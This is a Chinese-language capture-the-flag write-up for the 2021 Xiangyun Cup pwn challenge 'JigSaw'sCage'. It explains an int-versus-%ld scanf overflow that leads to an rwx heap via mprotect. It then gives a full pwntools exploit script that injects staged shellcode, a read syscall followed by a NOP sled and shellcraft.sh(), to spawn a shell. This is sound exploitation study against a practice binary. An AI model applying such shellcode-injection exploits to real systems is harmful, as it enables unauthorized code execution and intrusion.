2021 祥云杯 pwn-JigSaw’sCage

2021 祥云杯 pwn-JigSaw’sCage

这道题属实是没有发现漏洞点在哪里，所以看了一下wm的wjh师傅的wp，发现漏洞出现下图

v1是int，但scanf是ld，所以溢出了4个字节，这就导致了可以控制v2的值，这样只需要将v1改成0，v2改成大于14的值即可调用mprotect分配rwx权限到heap地址上

并且在test功能里可以运行shellcode

shellcode每次只能写比较小的字节，所以得分开写，笔者一开始的思路是shellcode分段写，但是比较麻烦，wjh师傅的思路值得学习
在heap_ptrv1;这里是call rdx，前面是mov rax, 0，调试到这里看一下寄存器是什么情况

rdx是堆地址，rax是read的系统调用号，所以可以构造一个shellcode使得rdi为0，rsi为heap地址，rdx为0x1000，这样就是read(0, heap_addr, 0x1000)。
程序又刚好在这里执行所以可以调用shellcraft.sh()让程序在执行过程中被改成shellcraft.sh()。wjh直接用nop滑到了shellcode

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './JigSAW'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Choice : \n'

def add(index):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Index? : \n', str(index))

def edit(index, content):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index? : \n', str(index))
    r.sendafter('iNput:\n', content)

def test(idx):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index? : ', str(idx))

r.sendlineafter('Name:', 'z1r0')
r.sendlineafter('Make your Choice:', str(0xff00000000))

add(0)

p1 = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''

edit(0, asm(p1))

test(0)

r.send(b'\x90' * 20 + asm(shellcraft.sh()))
r.interactive()